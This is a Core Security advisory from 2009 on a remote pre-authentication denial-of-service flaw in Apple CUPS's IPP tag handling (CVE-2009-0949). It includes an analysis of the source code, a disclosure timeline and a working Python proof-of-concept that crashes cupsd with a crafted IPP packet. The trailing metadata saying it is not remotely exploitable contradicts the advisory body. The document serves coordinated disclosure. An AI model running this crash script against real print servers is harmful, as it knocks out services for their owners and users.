Apple CUPS IPP_TAG_UNSUPPORTED Handling null pointer Vulnerability

Core Security - CoreLabs


Apple CUPS IPP_TAG_UNSUPPORTED Handling null pointer Vulnerability

1.
Advisory Information

Title:
Apple CUPS IPP_TAG_UNSUPPORTED Handling null pointer Vulnerability

Advisory ID: CORE-2009-0420
Advisory URL: http://www.coresecurity.com/content/AppleCUPS-null-pointer-vulnerability
Date published: 2009-06-02
Date of last update: 2009-06-01
Vendors contacted: Apple Computer Inc.
Release mode: Coordinated release

2.
Vulnerability Information

Class: Denial of service (DoS)
Remotely Exploitable: Yes
Locally Exploitable: Yes
Bugtraq ID: 35169
CVE Name: CVE-2009-0949

3.
Vulnerability Description

CUPS
[1]
provides a portable printing layer for
UNIX based operating systems.
It was developed by Easy Software Products and it is now owned
and maintained by Apple Computer Inc. to promote a standard printing
solution. It is the standard open source printing system for Mac OS X
and other UNIX-like operating systems.

A flaw has been identified in CUPS, when handling the
IPP_TAG_UNSUPPORTED tag, which could be
exploited by attackers to cause a remote pre-authentication denial
of service.

4.
Vulnerable packages

  • CUPS 1.1.17
  • CUPS 1.1.23
  • CUPS 1.3.6
  • CUPS 1.3.7
  • CUPS 1.3.8
  • CUPS 1.3.9
  • Earlier versions may also be affected, but were not checked.

5.
Non-vulnerable packages

  • CUPS 1.3.10

6.
Vendor Information, Solutions and Workarounds

This flaw was fixed in Mac OS X 10.5.7 by updating CUPS to 1.3.10. Apple
team intends to fix it on Mac OS X 10.4 in a future update. All CUPS
users should upgrade the software to 1.3.10.

7.
Credits

This vulnerability was discovered and researched by Anibal Sacco from
the CORE IMPACT Exploit Writing Team (EWT) at Core Security Technologies.

8.
Technical Description / Proof of Concept Code

This vulnerability identified in CUPS is caused by a bad ip structure
initialization in the
function ippReadIO(), located in
cups/ipp.c, when processing a specially
crafted IPP (Internet Printing Protocol) with two consecutives
IPP_TAG_UNSUPPORTED tags. This flaw could be
exploited by attackers to crash the affected application.

At ipp.c the function
ippReadIO() is in charge of the initialization
of the ipp structure, that represent the
different tags of the current IPP request packet.

1016 ipp_state_t                     /* O - Current state */
1017 ippReadIO(void        *src,     /* I - Data source */
1018           ipp_iocb_t  cb,       /* I - Read callback function */
1019           int         blocking, /* I - Use blocking IO? */
1020           ipp_t       *parent,  /* I - Parent request, if any */
1021           ipp_t       *ipp)     /* I - IPP data */
1022 {
1023   int       n;                  /* Length of data */
1024   unsigned  char buffer[IPP_MAX_LENGTH + 1],
1025                                 /* Data buffer */
1026   string[IPP_MAX_NAME],
1027                                 /* Small string buffer */
1028  *bufptr;                       /* Pointer into buffer */
1029  ipp_attribute_t	*attr;         /* Current attribute */
1030  ipp_tag_t       tag;           /* Current tag */
1031  ipp_tag_t       value_tag;     /* Current value tag */
1032  ipp_value_t     *value;        /* Current value */


1035  DEBUG_printf(("ippReadIO(%p, %p, %d, %p, %p)\n", src, cb, blocking,
1036                parent, ipp));
1037  DEBUG_printf(("ippReadIO: ipp->state=%d\n", ipp->state));

1039  if (src == NULL || ipp == NULL)
1040    return (IPP_ERROR);
1041
1042  switch (ipp->state)
1043  {
1044    case IPP_IDLE :
1045        ipp->state ++; /* Avoid common problem... */
1046
1047    case IPP_HEADER :
1048        if (parent == NULL)

As we can see in the code above, the packets can count with a few
different tag attributes.

When an IPP packet is sent with a tag
attribute lower than 0x10, it is considered by CUPS as an
IPP_TAG_UNSUPPORTED tag:

else if (tag < IPP_TAG_UNSUPPORTED_VALUE)
{
    /*
    * Group tag...  Set the current group and continue...
    */
    if (ipp->curtag == tag)
        ipp->prev = ippAddSeparator(ipp);
    else if (ipp->current)
        ipp->prev = ipp->current;

    ipp->curtag  = tag;
    ipp->current = NULL;
    DEBUG_printf(("ippReadIO: group tag = %x, ipp->prev=%p\n", tag, ipp->prev));
    continue;  
}

Because of the way that CUPS handles this kind of tags, if a packet
contains two consecutives IPP_TAG_UNSUPPORTED,
the last node of the IPP structure will be initialized as
NULL.

This will lead to a crash when the
cupsdProcessIPPRequest
function tries to read the name field of
the attr structure.

/*
 * 'cupsdProcessIPPRequest()' - Process an incoming IPP request.
 */
int                                           /* O - 1 on success, 0 on failure */
cupsdProcessIPPRequest( cupsd_client_t *con)  /* I - Client connection */

...
    if (!attr)
    {
        /*
        * Then make sure that the first three attributes are:
        *
        *     attributes-charset
        *     attributes-natural-language
        *     printer-uri/job-uri
        */

        attr = con->request->attrs;
        if (attr && !strcmp(attr->name, "attributes-charset") && (attr->value_tag & IPP_TAG_MASK) == IPP_TAG_CHARSET)
	         charset = attr;
        else
	         charset = NULL;
...

8.1.
Proof of Concept

The following Python script is the proof of concept written by Anibal Sacco
to trigger the vulnerability.

from struct import pack
import sys
import socket

class IppRequest:
    """
    Little class to implement a basic Internet Printing Protocol
    """
    def __init__(self, host, port, printers, hpgl_data="a"):
        self.printers = printers
        self.host = host
        self.port = port
        self.hpgl_data = hpgl_data
        self.get_ipp_request()

    def attribute(self, tag, name, value):
        data =  pack('>B',tag)
        data += pack('>H',len(name))
        data += name
        data += pack('>H',len(value))
        data += value
        return data

    def get_http_request(self):
        http_request = "POST /printers/%s HTTP/1.1\r\n" % self.printers
        http_request += "Content-Type: application/ipp\r\n"
        http_request += "User-Agent: Internet Print Provider\r\n"
        http_request += "Host: %s\r\n" % self.host
        http_request += "Content-Length: %d\r\n" % len(self.ipp_data)
        http_request += "Connection: Keep-Alive\r\n"
        http_request += "Cache-Control: no-cache\r\n"
        return http_request

    def get_ipp_request(self):
        operation_attr =  self.attribute(0x47, 'attributes-charset', 'utf-8')
        operation_attr += self.attribute(0x48, 'attributes-natural-language', 'en-us')
        operation_attr += self.attribute(0x45, 'printer-uri', "http://%s:%s/printers/%s" % (self.host, self.port, self.printers))
        operation_attr += self.attribute(0x42, 'job-name', 'foo barrrrrrrr')
        operation_attr += self.attribute(0x42, 'document-format', 'application/vnd.hp-HPGL')

        self.ipp_data =  "\x01\x00"           # version-number: 1.0
        self.ipp_data += "\x00\x02"           # operation-id: Print-job
        self.ipp_data += "\x00\x00\x00\x01"   # request-id: 1
        self.ipp_data += "\x01"               # operation-attributes-tag
        self.ipp_data += "\x0f\x0f"           
        # self.ipp_data += operation_attr
        self.ipp_data += "\x02"               # job-attributes-tag
        self.ipp_data += "\x03"               # end-of-attributes-tag
        self.ipp_data += self.hpgl_data;
        return self.ipp_data

def main():

    try:
        printer = sys.argv[1]
        host = sys.argv[2]
    except:
        print "[+] Usage: exploit printer_name host"
        return 0
    
    data = "A"*100

    ipp = IppRequest(host,"80", printer, data)
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    print "[+] Connecting to the host"
    s.connect((host, 631))

    #requests = ipp.get_http_request()
    #for each in requests:
    #    s.send(each)

    print "[+] Sending request"
    s.send(ipp.get_http_request())
    s.send("\r\n")

    print "[+] Sending ipp data"
    s.send(ipp.get_ipp_request())

    print "Response:%s" % s.recv(1024)
    print "done!"

if __name__ == "__main__":
    sys.exit(main())

9.
Report Timeline

  • 2009-04-28:
    Core Security Technologies notifies the Apple
    Product Security Team of the vulnerability and announces
    its initial plan to publish the advisory on May 20th, 2009.
    Technical details and Proof of Concept (PoC) are sent to Apple
    Security Team.
  • 2009-04-28:

    The vendor acknowledges reception of the technical report
    and PoC.
  • 2009-05-11:

    Core reminds Apple Security Team its initial plan to publish
    the advisory on May 20th, and asks the confirmation that patches
    will be released by then.
  • 2009-05-12:

    Core notifies Apple Security Team that this is a multi-vendor issue
    (affecting, for example, multiple Linux distributions), and
    asks if the patch process of the CUPS vulnerability will be
    coordinated using the vendor-sec mailing list

    [2]
    .
  • 2009-05-12:

    Apple Product Security Team notifies Core they will contact
    vendor-sec about this issue very soon and proposes to reschedule
    the advisory publication date to June 2nd.
    The vendor also notifies the issue was addressed
    in Mac OS X 10.5.7 by updating CUPS to version 1.3.10.
  • 2009-05-13:

    Apple Product Security Team notifies the suggested fix
    would be to update to CUPS 1.3.10.
  • 2009-05-15:

    The Red Hat Security Response Team informs (via vendor-sec)
    CUPS 1.1.17 is the oldest version they still ship and it
    is affected too. This issue will probably affect even earlier
    CUPS versions too.
  • 2009-05-25:

    The Debian Team informs (via vendor-sec)
    there is a bug in the PoC provided by Core.
    The advisory PoC is changed according to the
    comments made by Debian Team.
  • 2009-05-28:

    Core notifies that the advisory is going to be released on
    June 2nd, and requests a confirmation from
    Apple Security Team and vendor-sec subscribers.
  • 2009-05-29:

    Apple Security Team, Red Hat Security Response Team
    and Debian Team confirm the proposed release date.
    There was no request for embargo date shift posted to vendor-sec.
  • 2009-06-02:

    The advisory CORE-2009-0420 is published.

10.
References


[1] http://www.cups.org.


[2]
Vendor-sec, a mailing list dedicated to distributors of operating
systems using (but not necessarily solely comprised of) free and
open-source software.
http://oss-security.openwall.org/wiki/mailing-lists/vendor-sec.

11.
About CoreLabs

CoreLabs, the research center of Core Security Technologies, is charged with anticipating
the future needs and requirements for information security technologies.
We conduct our research in several important areas of computer security
including system vulnerabilities, cyber attack planning and simulation,
source code auditing, and cryptography. Our results include problem
formalization, identification of vulnerabilities, novel solutions and
prototypes for new technologies. CoreLabs regularly publishes security
advisories, technical papers, project information and shared software
tools for public use at:
http://www.coresecurity.com/corelabs.

12.
About Core Security Technologies

Core Security Technologies develops strategic solutions that help security-conscious
organizations worldwide develop and maintain a proactive process for
securing their networks. The company's flagship product, CORE IMPACT, is
the most comprehensive product for performing enterprise security
assurance testing. CORE IMPACT evaluates network, endpoint and end-user
vulnerabilities and identifies what resources are exposed. It enables
organizations to determine if current security investments are detecting
and preventing attacks. Core Security Technologies augments its leading technology solution
with world-class security consulting services, including penetration
testing and software security auditing. Based in Boston, MA and Buenos
Aires, Argentina, Core Security Technologies can be reached at 617-399-6980 or on the Web
at http://www.coresecurity.com.

13.
Disclaimer

The contents of this advisory are copyright (c) 2009 Core Security Technologies and
(c) 2009 CoreLabs, and may be distributed freely provided
that no fee is charged for this distribution and proper credit is given.

14.
PGP/GPG Keys

This advisory has been signed with the GPG key of Core Security Technologies advisories
team, which is available for download at
/legacy/files/attachments/core_security_advisories.asc.

Locally Exploitable: 
no
Remotely Exploitable: 
no
  • Request Info

Research Blog